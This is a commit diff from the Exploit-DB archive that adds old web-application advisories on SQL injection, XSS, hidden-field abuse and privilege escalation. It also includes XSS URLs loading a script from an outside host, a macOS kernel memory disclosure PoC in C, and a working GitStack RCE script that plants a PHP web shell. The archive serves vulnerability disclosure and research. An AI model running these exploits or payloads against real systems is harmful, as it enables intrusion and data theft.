DB: 2018-01-20

62 changes to exploits/shellcodes

macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability'
Peercast < 0.1211 - Format String
Trillian Pro < 2.01 - Design Error
dbPowerAmp < 2.0/10.0 - Buffer Overflow
PsychoStats < 2.2.4 Beta - Cross Site Scripting

MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution
GitStack 2.3.10 - Unauthenticated Remote Code Execution
Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection	 (PoC)
Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC)
Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities
DUWare Multiple Products - Multiple Vulnerabilities
AutoRank PHP < 2.0.4 - SQL Injection (PoC)
ASPapp Multiple Products - Multiple Vulnerabilities
osCommerce < 2.2-MS2 - Multiple Vulnerabilities
PostNuke < 0.726 Phoenix - Multiple Vulnerabilities
MetaDot < 5.6.5.4b5 - Multiple Vulnerabilities
phpGedView < 2.65 beta 5 - Multiple Vulnerabilities
phpShop < 0.6.1-b - Multiple Vulnerabilities
Invision Power Board (IP.Board) < 1.3 - SQL Injection
phpBB < 2.0.6d - Cross Site Scripting
Phorum < 5.0.3 Beta - Cross Site Scripting
vBulletin < 3.0.0 RC4 - Cross Site Scripting
Mambo < 4.5 - Multiple Vulnerabilities
phpBB < 2.0.7a - Multiple Vulnerabilities
Invision Power Top Site List < 1.1 RC 2 - SQL Injection
Invision Gallery < 1.0.1 - SQL Injection
PhotoPost < 4.6 - Multiple Vulnerabilities
TikiWiki < 1.8.1 - Multiple Vulnerabilities
phpBugTracker < 0.9.1 - Multiple Vulnerabilities
OpenBB < 1.0.6 - Multiple Vulnerabilities
PHPX < 3.26 - Multiple Vulnerabilities
Invision Power Board (IP.Board) < 1.3.1 - Design Error
HelpCenter Live! < 1.2.7 - Multiple Vulnerabilities
LiveWorld Multiple Products - Cross Site Scripting
WHM.AutoPilot < 2.4.6.5 - Multiple Vulnerabilities
PHP-Calendar < 0.10.1 - Arbitrary File Inclusion
PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities
ReviewPost < 2.84 - Multiple Vulnerabilities
PhotoPost < 4.85 - Multiple Vulnerabilities
AZBB < 1.0.07d - Multiple Vulnerabilities
Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities
Burning Board < 2.3.1 - SQL Injection
XOOPS < 2.0.11 - Multiple Vulnerabilities
PEAR XML_RPC < 1.3.0 - Remote Code Execution
PHPXMLRPC < 1.1 - Remote Code Execution
SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite
XPCOM - Race Condition
ADOdb < 4.71 - Cross Site Scripting
Geeklog < 1.4.0 - Multiple Vulnerabilities
PEAR LiveUser < 0.16.8 - Arbitrary File Access
Mambo < 4.5.3h - Multiple Vulnerabilities
phpRPC < 0.7 - Remote Code Execution
Gallery 2 < 2.0.2 - Multiple Vulnerabilities
PHPLib < 7.4 - SQL Injection
SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite
CubeCart < 3.0.12 - Multiple Vulnerabilities
Claroline < 1.7.7 - Arbitrary File Inclusion
X-Cart < 4.1.3 - Arbitrary Variable Overwrite
Mambo < 4.5.4 - SQL Injection
Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities
D-Link DNS-343 ShareCenter < 1.05 - Command Injection
D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities

Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)
This commit is contained in:
Offensive Security 2018-01-20 05:01:49 +00:00
parent 8a2e4ff27a
commit bfebc3fa5a
64 changed files with 4748 additions and 1 deletions

View file

@ -0,0 +1,55 @@
DUWare Multiple Vulnerabilities
Vendor: DUWare
Product: DUWare
Version: Multiple Products
Website: http://www.duware.com/
BID: 9246
Description:
DUportal Pro is a professional Web portal and online community. DUportal Pro contains numerous advanced features such as Web-based administration, Articles, Banner Ads, Event Calendar, Classified Ads, Web link directory, Downloads, Entertainment, Message Board, Picture Gallery, News, E-Commerce, Members Directory, Polls and Business Directory, and more which can be downloaded online. All modules are customizable via Web-based Admin panel, together with size, skins and themes.
Problem:
Basically almost all, if not ALL of the products offered by DU Ware (www.duware.com) seem to have been done with an extremely minimal understanding and/or concern of security, and very important aspects of web security such as, but not limited to: Unique Session ID's, Input Validation, and many more. Their software relies HEAVILY on hidden tags, client side input validation, and security through obscurity. Examples of some of the consequences of this weakly implemented/nonexistent security are Script Execution, Arbitrary File Upload, Account Hijacking, Database Exposure, Query Tampering, Code Injection and Server Compromise.
Remote File Upload:
Pretty much anywhere there are places to upload a picture, or file on DUPortal you can upload a script, or file of your liking. The only limits really are size. The only requirement to exploit this vulnerability is a web browser. Simply save the page to your hard drive, edit out all the client side validation and an attacker may upload any file they wish. This can allow for script execution on the host machine as well as host compromise.
Script Execution:
Script execution in DU Software Products can take place in a number of ways. The most serious of these is by using the previously mentioned file upload vulnerability to upload any script of your liking. Using that particular method it is obviously not very hard to compromise the security of the entire host. Another way is by injecting script into items that have to be approved by the administrator of the portal. This can also be manipulated by tampering with the hidden form value by the name of "APPROVED". If the item you add requires approval by the administrator, then any code you inject into a particular item will be executed by the administrator unknowingly, thus allowing an attacker to carry out administrative functions via the admin. It is also possible for a user to inject script into their username value, as well as other components and have it executed in the browsers of the portals visitors.
Account HiJacking:
Having an administrator execute commands and script for an attacker can be bad news, but needless to say it is even worse when an attacker can take over the administrative account, or any other account at will. This is not hard to do and only requires a browser and text editor to execute. Because DU Portal assigns no specific user session id, and relies on hidden fields to change information, it is simple to reset the password of ANY account in the DU Portal database. It is also possible to tamper with cookie data, and gain limited access to arbitrary accounts.
Privilege Escalation:
When registering an account on a DU Portal installation, a malicious user is able to set themselves to any user level they like by altering the hidden form field value for "U_ACCESS" It is initially set to user, but anyone with a text editor and web browser can change this to admin.
Query Tampering:
There is little input validation and/or sanitization in DU Portal, so tampering with database queries is not a difficult task. Below are a list of the affected components.
search.asp
password.asp
channel.asp
register.asp
type.asp
detail.asp
post.asp
submit.asp
This may not be all of them, but it should be most of them. Hopefully the list above will be incentive enough for the developer to secure all of the portal's components, including any not previously mentioned.
Hidden Form Field Weakness: As I have mentioned before, this portal system relies HEAVILY on client side validation and especially on hidden form fields/values. By saving any number of pages of a DU Portal an editing an attacker can manipulate much data. Examples include but are not limited to: Administrative Action, Impersonating Other Users, Changing Shop Prices, Account Hi Jacking, and much more.
Plain Text And Database Disclosure Weakness:
No passwords in the DU Portal database are encrypted. They are also shown in plain text in the admin panel. This is a problem because it can be used by an attacker or malicious administrator to compromise the integrity of users that have a bad habit of using the same password everywhere. The database by default is also available for download at the following location
http://localhost/database/DUportal.mdb
This can be avoided however by setting the proper permissions for the directory in which the database is located in or better yet move the entire database to an offline directory.
Conclusion:
DU Ware offers a large variety of products, and most if not all are bundled into what is "DU Portal" so most of these vulns are present in all of their products. While they may be easy to set up and offer decent functionability it is advised not to install them until the vendor can implement better security into their products. The vendor was contacted, but does not plan on releasing any security patches for these issues. However they do plan to secure their applications in their products next version release.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,32 @@
ASPapp Multiple Vulnerabilities
Vendor: ASPapp.com
Product: ASPapp
Version: Multple Products
Website: http://www.aspapp.com/
BID: 9250
Description:
A complete, easy-to-modify .asp portal system. With this portal you can manage users, content, links, files, forums, surveys, product catalog, shopping cart, PayPal or Authorize.net e-commerce, classifieds, calendar, downloads, images, surveys, faq's, news, and more. Currently it is one of the most popular .ASP scripts at HotScripts.com The below vulnerabilities also affect IntranetApp and ProjectApp, as the codebase is almost identical.
Privilege Escalation Vulnerability:
When registering account a malicious user can set themselves to any user level they desire. The user level is determined by a hidden form field value titled "accesslevel". If a user sets themselves to the "Super Admin" level [4] they can pretty much take over the entire portal. They can also view other user's passes in plaintext via the "User Admin" feature by viewing the HTML source. This does not seem to be present in IntranetApp, but is present in PortalApp and ProjectApp.
Account Hijacking Vulnerability:
Once again ASP App software relies on hidden form fields to determine user values. By changing the "user_id" field when editing their profile a malicious user can reset passwords for arbitrary accounts and edit their user info etc. This is present in all three applications.
Cross Site Scripting:
XSS is possible on any page of an ASP APP Portal by appending the variable "msg" with a value of any script you would like to be run. This vulnerability also exists in all 3 applications.
Code Injection Vulnerabilities:
There are a number of places to inject code and have it run by a user or an admin. These include but are not limited to the following. Injection vulnerabilities exist in forums.asp When posting a new message, script can be injected into the Title and into the message form fields. This is especially dangerous because the latest messages are posted on the main page of the website, therefore affecting all users. An Injection vulnerability exists in submit.asp. A malicious user can submit script instead of a link to be added to the website. This vuln affects the administrator when he prepares to accept or deny submissions. Injection vulnerabilities are present in the profile section of the website. By submitting script into the for fields of upd_user.asp (the profile update form) it will be run whenever someone views the affected profile.(user_public.asp) The form fields that are vulnerable are First Name, Last Name and Country. This vuln exists in all three of the previously mentioned ASP APP scripts.
Plaintext Password Storage Weakness:
The username and password for the logged in user are stored as plaintext in the cookie, making cookie theft through an xss vuln even more dangerous. Also, a malicious admin can view a users password in plaintext by visiting the user administration page, and viewing the HTML source of a user. The users password will then be presented in plaintext. This vuln exists in all three of the previously mentioned ASP APP scripts.
Solution:
The vendor plans on releasing a new version of these products at the end of the month to supposedly correct all of the security issues mentioned above.
Credits:
James Bercegay And parag0d of the GulfTech Security Research Team.

View file

@ -0,0 +1,42 @@
LiveWorld Cross Site Scripting
Vendor: LiveWorld, Inc
Product: LiveWorld
Version: Multiple Products
Website: http://www.liveworld.com
CVE: CVE-2004-2566
OSVDB: 9180
PACKETSTORM: 34143
Description:
LiveWorld provides collaborative services for online meetings, customer care, and loyalty marketing. Supporting communication between a company and its customers, employees, or partners and among those people themselves - our services help corpor- ations cut costs, increase revenue, and solidify relationships with groups critical to their success. LiveWorld products are used on major websites such as HBO, and eBay
Cross Site Scripting:
GulfTech Security Research have discovered Cross Site Scripting issues that are believed to be present in multiple LiveWorld Inc products such as LiveForum, LiveQ&A, LiveChat and LiveFocusGroup. It is also a good possibility that this issue exists in other LiveWorld products as they "seem" to share some of the same code. If you believe this to be incorrect, or have proof of it being 100% accurate then please let us know. These issues could allow for an attacker to run code in the context of a victims browser or temporarily deface a website that is running any of the affected applications.
Proof of Concept:
I have done my best to contact LiveWorld, and eBay. As of the time I am writing this, the holes are not patched, and these examples work. However this may not be the case when this write up becomes public. Please note that these URI's are wrapped for the sake of readability.
http://answercenter.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D
%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript
%3E%3C%21--%3C%21--
http://groups.ebay.com/findclub!execute.jspa?q=%22%3E%3Cscript+s
rc%3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fs
cript%3E%3C%21--%3C%21--
http://forums.ebay.com/search.jsp?q=%22%3E%3Cscript+src%3D%22htt
p%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscript%3E
http://boards.hbo.com/search!execute.jspa?q=%22%3E%3Cscript+src%
3D%22http%3A%2F%2Fstuff.gulftech.org%2Ffoobar.js%22%3E%3C%2Fscri
pt%3E%3C%21--%3C%21--
These examples simply print the GulfTech name to the browser, but this could just as easily be a spoofed form, or a malicious script.
Solution:
LiveWorld Inc were contacted about these issues, but have not yet responded. Hopefully they will see this report and fix the issues :) Any future fix will likely be posted on their website.
Credits:
James Bercegay of the GulfTech Security Research Team.

102
exploits/macos/dos/43780.c Normal file
View file

@ -0,0 +1,102 @@
/*
AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
kernel memory:
__text:000000000002ACE0 mov eax, [rbx] ; structure input buffer
__text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h] ; rax is controlled -> rsi read OOB
__text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0 ; as long as this byte isn't NULL
__text:000000000002ACF1 jz short loc_2AD10
__text:000000000002ACF3 add rsi, 1E11h ; void * ; add this offset
__text:000000000002ACFA mov edx, 1D8h ; size_t
__text:000000000002ACFF mov rdi, r14 ; void *
__text:000000000002AD02 call _memcpy ; copy to structure output buffer, will be returned to userspace
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
// ianbeer
// build: clang -o capri_display_pipe capri_display_pipe.c -framework IOKit
#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
AppleIntelCapriController::getDisplayPipeCapability reads an attacker-controlled dword value from a userclient structure
input buffer which it uses to index a small array of pointers to memory to copy back to userspace.
There is no bounds checking on the attacker supplied value allowing (with some heap grooming) the disclosure of arbitrary
kernel memory:
__text:000000000002ACE0 mov eax, [rbx] ; structure input buffer
__text:000000000002ACE2 mov rsi, [rdi+rax*8+0E48h] ; rax is controlled -> rsi read OOB
__text:000000000002ACEA cmp byte ptr [rsi+1DCh], 0 ; as long as this byte isn't NULL
__text:000000000002ACF1 jz short loc_2AD10
__text:000000000002ACF3 add rsi, 1E11h ; void * ; add this offset
__text:000000000002ACFA mov edx, 1D8h ; size_t
__text:000000000002ACFF mov rdi, r14 ; void *
__text:000000000002AD02 call _memcpy ; copy to structure output buffer, will be returned to userspace
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 8;
*(uint64_t*)inputStruct = 0x12345678; // crash
//*(uint64_t*)inputStruct = 0x37; // disclose kernel heap memory
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 4096;
err = IOConnectCallMethod(
conn,
0x710,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (outputStructCnt > 20) {
int n_leaked_ptrs = (outputStructCnt-7)/8;
uint64_t* ptrs = (uint64_t*) (outputStruct+7);
for (int i = 0; i < n_leaked_ptrs; i++) {
printf("%016llx\n", ptrs[i]);
}
}
return 0;
}

View file

@ -0,0 +1,81 @@
MetaDot Multiple Vulnerabilities
Vendor: Metadot Corporation
Product: MetaDot
Version: <= 5.6.5.4b5
Website: http://www.metadot.com/
BID: 9439
Description:
Metadot is a popular open source portal software (GPL) recognized for its revolutionary ease-of-use. It provides content management like file, page and link management, collaboration features like discussion forums and polls and personalization like My Yahoo. It is powered by Perl && MySQL. Users range from home users to government, banks, universities and even NASA ;)
SQL Injection Vulnerability:
It may be possible for an attacker to influence SQL queries by passing unexpected data to certain variables including the "id" and "key" variable. Even if an attacker is not successful with influencing an SQL query he can cause the outputted error message to execute script into an unsuspecting users browser thus causing a Cross Site Scripting attack. Also, the SQL error messages reveal a great deal of data about the server. Below is an example error message. The URI used to create this error was index.pl?isa=Session&op=auto_login&new_user=&key='[Problem]
sqlSelect: SQL statement:
SELECT userid, lastonline, sessioninfo FROM sessions WHERE sessionid=''[Problem]'
Error: You have an error in your SQL syntax near '[Problem]' ' at line 1 at
/home/sharem/metadot/metadot/index.pl
DBAccess::DBIObj::sqlSelect('DBAccess::MySQL=HASH(0x85de6a8)', 'userid, lastonline,
sessioninfo', 'sessions', 'sessionid=\'\'[Problem]\'') called at
/home/sharem/metadot/metadot/DBAccess.pm line 129 DBAccess::sqlSelect('DBAccess',
'userid, lastonline, sessioninfo', 'sessions', 'sessionid=\'\'[Problem]\'') called at
/home/sharem/metadot/metadot/Session.pm line 508 Session::_initialize('Session=HASH(0xb1be85c)',
'\'[Problem]') called at /home/sharem/metadot/metadot/Session.pm line 161
Session::restore('Session', '\'[Problem]') called at
/home/sharem/metadot/metadot/Metadot/SessionHandler/CookieSessionHandler.pm line 97
Metadot::SessionHandler::CookieSessionHandler::restore_session('Metadot::SessionHandler::
CookieSessionHandler=HASH(0x8c443f8)', '\'[Problem]')called at
/home/sharem/metadot/metadot/Metadot/ Authenticator.pm line 63
Metadot::Authenticator::authenticate('Metadot::Authenticator::UserPassAuthenticator
=HASH(0x9d34338)') called at /home/sharem/metadot/metadot/Portal.pm line 3863
Portal::_web_init('Portal =HASH(0xb4c271c)') called at
/home/sharem/metadot/metadot/Metadot/Implementations/Portal/Default.pm line 52
Metadot::Implementations::Portal::Default::initialize('Metadot::Implementations::Portal::Default',
'Portal =HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Portal.pm line 2830
Portal::_initialize('Portal =HASH(0xb4c271c)') called at /home/sharem/metadot/metadot/Portal.pm
line 160 Portal::new('Portal', 1) called at /home/sharem/metadot/metadot/index.pl line 43
Apache::ROOT::metadot::index_2epl::handler('Apache=SCALAR (0xb421470)') called at
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149 eval {...} called at
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm line 149 Apache::Registry
::handler('Apache=SCALAR(0xb421470)') called at /dev/null line 0 eval {...} called at /dev/null
line 0
Below are some examples URI's that will allow an attacker to influence queries, gather info or XSS.
/index.pl?id=[Evil_Query]
/index.pl?iid=[Evil_Query]
/index.pl?isa=Session&op=auto_login&new_user=&key=[Evil_Query]
Information And Path Disclosure:
There is a great deal of information given up by interrupting the SQL query, but can also be caused in other ways than the previously mentioned. Lets look at /index.pl?iid=[ValidID]&isa=Discussion&op= Where [ValidID] is should be a valid id number such as 1000 or whatever it may be.
Software error: must provide operation name at
/home/sharem/metadot/metadot/Auditable.pm line
196 Auditable::is_allowed_to_do('Discussion=HASH
(0xae19218)', '', 'Metadot::User::FlexUser=HASH
(0xb414f70)', 1) called at
/home/sharem/metadot/metadot/index.pl line 232
Apache::ROOT::metadot::index_2epl::handler
('Apache=SCALAR(0xacf893c)') called at
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm
line 149 eval {...} called at
/usr/local/lib/perl5/site_perl/5.6.1/i686-linux/Apache/Registry.pm
line 149 Apache::Registry::handler('Apache=SCALAR(0xacf893c)')
called at /dev/null line 0 eval {...} called at /dev/null line 0
As you can see that will give you the server path, perl version and several other interesting bits of information. Path can also be disclosed by a bogus value in the "isa" variable. /index.pl?isa=blah
Cross Site Scripting:
Cross Site Scripting: There are a number of potential cross site scripting issues in MetaDot. Below are some examples
/index.pl?isa=XSS<iframe%20src=http://www.gulftech.org>
/userchannel.pl?id=435&isa=NewsChannel&redirect=1&op="><iframe>
/index.pl?iid='"><iframe%20src=http://www.gulftech.org>
Solution:
The MetaDot team have addressed this issue and an update was supposed to be released on Thursday the 8th of January. Users of the MetaDot portal system are encouraged to upgrade immediately. Users can get the necessary security fixes provided by MetaDot Corporation at the link below.
http://www.metadot.com/metadot/index.pl?iid=2632&isa=Category
Credits:
James Bercegay of the GulfTech Security Research Team.

98
exploits/php/webapps/43777.py Executable file
View file

@ -0,0 +1,98 @@
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
# Date: 18.01.2018
# Software Link: https://gitstack.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
#
#1. Description
#
#$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
#
#https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
#
#2. Proof of Concept
#
import requests
from requests.auth import HTTPBasicAuth
import os
import sys
ip = '192.168.1.102'
# What command you want to execute
command = "whoami"
repository = 'rce'
username = 'rce'
password = 'rce'
csrf_token = 'token'
user_list = []
print "[+] Get user list"
try:
r = requests.get("http://{}/rest/user/".format(ip))
user_list = r.json()
user_list.remove('everyone')
except:
pass
if len(user_list) > 0:
username = user_list[0]
print "[+] Found user {}".format(username)
else:
r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
print "[+] Create user"
if not "User created" in r.text and not "User already exist" in r.text:
print "[-] Cannot create user"
os._exit(0)
r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
if "true" in r.text:
print "[+] Web repository already enabled"
else:
print "[+] Enable web repository"
r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
if not "Web interface successfully enabled" in r.text:
print "[-] Cannot enable web interface"
os._exit(0)
print "[+] Get repositories list"
r = requests.get("http://{}/rest/repository/".format(ip))
repository_list = r.json()
if len(repository_list) > 0:
repository = repository_list[0]['name']
print "[+] Found repository {}".format(repository)
else:
print "[+] Create repository"
r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
print "[-] Cannot create repository"
os._exit(0)
print "[+] Add user to repository"
r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))
if not "added to" in r.text and not "has already" in r.text:
print "[-] Cannot add user to repository"
os._exit(0)
print "[+] Disable access for anyone"
r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))
if not "everyone removed from rce" in r.text and not "not in list" in r.text:
print "[-] Cannot remove access for anyone"
os._exit(0)
print "[+] Create backdoor in PHP"
r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php'))
print r.text.encode(sys.stdout.encoding, errors='replace')
print "[+] Execute command"
r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
print r.text.encode(sys.stdout.encoding, errors='replace')

View file

@ -0,0 +1,42 @@
Invision Power Top Site List SQL Injection
Vendor: Invision Power Services
Product: Invision Power Top Site List
Version: <= 2.0 Alpha 3
Website: http://www.invisionpower.com/
BID: 9229
Description:
Invision Power Top Site List is a flexible site ranking script written in PHP, the popular programming choice for web developers. Featuring an impressive feature set with a user-friendly interface.
Problem:
Invision Power Top Site List is vulnerable to an SQL injection vuln due to not properly sanitizing user input via the "offset" parameter. However, it may be very difficult to exploit this vuln. Compromise.
Details:
The following GET request will trigger the SQL query syntax error ..
index.php?offset=[%20Problem%20Here%20]
Error: Error executing query
The software returned the following error:
You have an error in your SQL syntax near '[ Problem Here ],20' at line 14
Query Executed: SELECT s.*,COUNT(DISTINCT c.id) as comment_count, AVG(v.value)
as rating,COUNT(DISTINCT v.id) as num_votes,COUNT(DISTINCT me.id) as already_voted
FROM tsl_sites AS s, tsl_users AS u, tsl_emails AS e LEFT JOIN tsl_categories AS
cat ON cat.id = s.category LEFT JOIN tsl_votes AS v ON v.site = s.id LEFT JOIN
tsl_ip_address AS ipa ON ipa.address = "24.119.123.100" LEFT JOIN tsl_ip_records
AS ipr ON ipr.id = ipa.record LEFT JOIN tsl_votes AS me ON me.site =
s.id && me.ip_record = ipr.id LEFT JOIN tsl_comments AS c ON c.site = s.id &&
c.admin_validate = 1 WHERE s.user = u.id && s.email = e.id && u.blocked = 0 &&
s.active = 1 && s.admin_validate = 1 && e.validated = 1 GROUP BY s.id ORDER BY
out_count DESC, rating DESC, in_count DESC, name DESC LIMIT [ Problem Here ],20
Solution:
The Invision Team was very prompt and professional in getting back to me about this. Because of the difficulty of exploitation there will be no patch or immediate upgrade released. However the issue will be addressed in the next release of Invision Top Sites List.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,35 @@
IP.Board SQL Injection
Vendor: Invision Power Services
Product: IP.Board
Version: <= 2.0 Alpha 3
Website: http://www.invisionboard.com/
BID: 9232
Description:
Invision Power Board (IPB) is a professional forum system that has been built from the ground up with speed and security in mind, taking advantage of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you keep your board running smoothly. Moderators will also enjoy the full range of options available to them via built-in tools and moderators control panel. Members will appreciate the ability to subscribe to topics, send private messages, and perform a host of other options through the user control panel. It is used by millions of people over the world.
Problem:
Invision Power Board is vulnerable to an SQL Injection Vulnerability. All versions up to 2.0 Alpha 3 seem to be affected. Below is an example URL to test if you are vulnerable.
/index.php?showforum=1&prune_day=100&sort_by=Z-A&sort_key=[Problem_Is_Here]
If you are vulnerable (you should be) you will see an error message similar to the one posted below. The only requirement is to know a valid forum number and to have read access to that forum (must be able to view it).
mySQL query error: SELECT * from ibf_topics WHERE forum_id=2 and approved=1
and (last_post > 0 OR pinned=1) ORDER BY pinned DESC, [Problem_Is_Here] DESC
LIMIT 0,15
mySQL error: You have an error in your SQL syntax near '[Problem_Is_Here]
DESC LIMIT 0,15' at line 1
mySQL error code:
Date: Saturday 13th of December 2003 01:25:30 AM
Solution:
Invision Power Services have released a fix for this issue.
http://www.invisionboard.com/download/index.php?act=dl&s=1&id=12&p=1
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,36 @@
Aardvark Topsites Multiple Vulnerabilities
Vendor: Aardvark Industries
Product: Aardvark Topsites
Version: <= 4.1.0
Website: http://www.aardvarkind.com/
BID: 9231
Description:
Aardvark Topsites is a popular free PHP topsites script. See URL for details.
Plaintext Database Pass Weakness:
The login info for the database being used by Aardvark topsites can be viewed in plaintext by anyone who has access to the admin panel. If an attacker can gain access to the admin panel he can then take control of the database that the Aardvark Topsites is using.lid forum number and to have read
Information Disclosure Vulnerability:
By default phpinfo() for the server hosting an Aardvark Topsite can be viewed in the sources directory [ /sources/info.php ] An easy work around for this is quite obvious. If you do not need this file delete it. And if you do need it, then move it to a more secure location :)
Path Disclosure Vulnerability:
There are multiple ways to disclose the full server path on an Aardvark Topsites. Most can be avoided by allowing visitors to the /sources/ directory. However, it is also possible by passing a null or invalid value to the "type" variable when viewing the graph feature.
SQL Injection Vulnerability:
Tampering with SQL queries is possible via the "method" variable in display.php You can test if you are vulnerable by accessing the url below.
http://topsitelocation/index.php?method=`
Also, these are prone to tampering. While it would be hard to exploit, the following should have input validated/sanitized a little better.
http://topsitelocation/index.php?a=lostpw&set=1&id=`
http://topsitelocation/index.php?a=lostpw&set=1&session_id=`
Solution:
Aardvark Industries were very prompt and professional in addressing these issues. You can now download Aardvark Topsites 4.1.1 which has new features along with the obvious security fixes.
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,17 @@
AutoRank PHP SQL Injection
Vendor: JMB Software
Product: AutoRank PHP
Version: <= 2.0.4
Website: http://www.jmbsoft.com/
BID: 9251
Description:
The description as taken from the Autorank website "AutoRank PHP is our next generation toplist software, written completely in PHP and backed by a MySQL database. This software has all the features of the Pro version, and we have added several more which make this the most advanced toplist software available today. We have combined the power and speed of PHP and MySQL to make AutoRank PHP extremely efficient and scalable. A complete list of features is available if you would like to jump right to that. Otherwise, you can continue on and find out why AutoRank PHP is the premier PHP toplist software available today."
Problem:
Autorank PHP is vulnerable to SQL Injection attacks. The vulnerabilities can be exploited by injecting SQL queries into the user & password fields when editing an account, the email field when requesting a lost password and the username field when registering an account. If a malicious attacker logs in with the username and password '-- he will automatically be given access to the first account cataloged in the database. He can then view the HTML source code to view that users password in plain text. This also leaves the database being used by Autorank PHP open for attack. The affected file is accounts.php
Credits:
James Bercegay of the GulfTech Security Research Team.

View file

@ -0,0 +1,84 @@
Source: http://gulftech.org/advisories/osCommerce%20Multiple%20Vulnerabilities/19
osCommerce Multiple Vulnerabilities
Vendor: osCommerce
Product: osCommerce
Version: <= 2.2-MS2
Website: http://www.oscommerce.com
BID: 9275 9277
Description:
osCommerce is an online shop e-commerce solution under on going development by the open source community. Its feature packed out-of-the-box installation allows store owners to setup, run, and maintain their online stores with minimum effort and with absolutely no costs or license fees involved. It is used by millions of people all around the world, and has been implemented into other web apps such as oscMall and OSC-Nuke.
SQL Injection && Denial Of Service Vulnerability:
osCommerce 2.2 MS1 is vulnerable to SQL Injection vulnerability that can allow an attacker to (or have an unsuspecting user) influence SQL Queries and/or deny a legitimate user service. By sending a user a malformed URI an attacker can effectively deny a user legitimate access to their account. Below is an example URI and an explanation of the URI parameters.
/default.php?cPath=[MID]&sort=5a&page=1&action=buy_now&products_id=[PID][JNK]
[MID] = A Valid Manufacturer ID Number
[PID] = A Valid Product ID Number
[JNK] = SQL query or junk. %22 %5C %27 or %00 Will cause a DoS
The Denial of service will cause an unremovable item to be placed in the users shopping cart. The next time that user logs out and logs back in they will be greeted with the following SQL error message. If a user is not logged in they will have an unremovable item until their session is terminated. If a user is not logged in, is sent the malicious URI, and then logs in they will have an unremovable item in their cart until the database is manually altered by an admin. If it is a 2.2 MS1 installation the query will execute.
1064 - You have an error in your SQL syntax. Check the manual that corresponds
to your MySQL server version for the right syntax to use near '[Problem_Here]'
and pd.products_id = p.products_id and pd.langu
select p.products_id, pd.products_name, p.products_model, p.products_price,
p.products_weight, p.products_tax_class_id from products p, products_description
pd where p.products_id='79'[Problem_Here]' and pd.products_id = p.products_id
and pd.language_id = '1'
